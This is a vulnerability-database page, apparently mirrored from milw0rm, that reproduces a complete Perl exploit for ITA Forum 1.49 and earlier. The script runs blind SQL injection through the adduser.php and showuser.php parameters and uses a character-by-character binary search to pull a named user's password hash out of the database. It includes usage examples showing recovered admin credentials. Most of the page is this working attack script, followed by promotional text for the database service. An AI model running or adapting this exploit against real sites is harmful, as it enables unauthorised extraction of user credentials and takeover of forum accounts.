Lucene search
K

ITA Forum <= 1.49 SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

ITA Forum 1.49 SQL Injection Exploit with One Char Bruteforc

Code

                                                #!/usr/bin/perl

use LWP::UserAgent;

# ITA Forum 1.49 sql injection exploit with one char bruteforce by 1dt.w0lf // r57
# 
# ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
# example:
# r57ita.pl http://127.0.0.1/ITA/ admin 0
# [!] Exploiting adduser.php
# Please wait...
# [xxxxxxxxxxxxxxxx]
#
# USER_NAME: admin
# USER_PASS: 340878063a81cd71
#
# example2:
# r57ita.pl http://127.0.0.1/ITA/ admin 1
# [!] Exploiting showuser.php
# Please wait...
# [xxxxxxxxxxxxxxxx]
#
# USER_NAME: admin
# USER_PASS: 340878063a81cd71
# ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
# greets2:
# foster and all ghc members

$path     = $ARGV[0];
$username = $ARGV[1];
$target   = $ARGV[2];

$s_num = 1;
$|++;

if (@ARGV &#60; 2) { &usage; }

if($target) 
 { 
 $string = $username;
 $path = $path.&#34;showuser.php&#34;; 
 print &#34; [!] Exploiting showuser.php\r\n&#34;; 
 }
else 
 { 
 $string = &#34;&#1069;&#1090;&#1086;&#1090; &#1083;&#1086;&#1075;&#1080;&#1085; &#1091;&#1078;&#1077; &#1079;&#1072;&#1085;&#1103;&#1090;!&#34;;
 $path = $path.&#34;adduser.php&#34;; 
 print &#34; [!] Exploiting adduser.php\r\n&#34;; 
 }

print &#34; Please wait...\r\n&#34;;
print &#34; [&#34;;

while(1)
{
if(&found(47,58)==0) { &found(96,122); } 
$char = $i;
if ($char==&#34;0&#34;) 
 { 
 print qq{] 
 
 USER_NAME: $username
 USER_PASS: $allchar
 };
 exit(); 
 }
else 
 { 
 print &#34;x&#34;; 
 $allchar .= chr($char); 
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)&#60;5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = &#34; BETWEEN $r AND $fmax&#34;;
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i&#60;$cmax)
  {
  $crcheck = &#34;=$i&#34;;
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 $ccheck = $_[0];
 if($target){
 $http_query = $path.&#34;?uid=&#34;.$username.&#34;\&#39; AND ascii(substring(user_pass,&#34;.$s_num.&#34;,1))&#34;.$ccheck.&#34; /*&#34;;
 }
 else{
 $http_query = $path.&#34;?user_pass1=ghc4ever&user_pass2=ghc4ever&user_email=root\@microsoft.com&Submit=true&user_login=&#34;.$username.&#34;\&#39; AND ascii(substring(user_pass,&#34;.$s_num.&#34;,1))&#34;.$ccheck.&#34; /*&#34;;
 }
 # wanna view xpl work?
 # print &#34;\r\n$http_query\r\n&#34;;
 $mcb_reguest = LWP::UserAgent-&#62;new() or die;
 $res = $mcb_reguest-&#62;post($http_query); 
 @results = $res-&#62;content; 
 
 foreach $result(@results)
  {
  if ($result =~ /$string/) { return 1; }
  }
 return 0;
 }
 

sub usage()
 {
 print q(
    ITA Forum version &#60;= 1.49 sql injection exploit ver2
 ==========================================================
    usage: r57ita.pl [path/to/forum/] [user_name] [target]
  targets:
           0 - adduser.php 
           1 - showuser.php
 ==========================================================   
     e.g.: r57ita.pl http://blah.com/ admin 0
 ==========================================================
           visit www.rst.void.ru for more info
 );
 exit();
 }

# milw0rm.com [2005-01-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation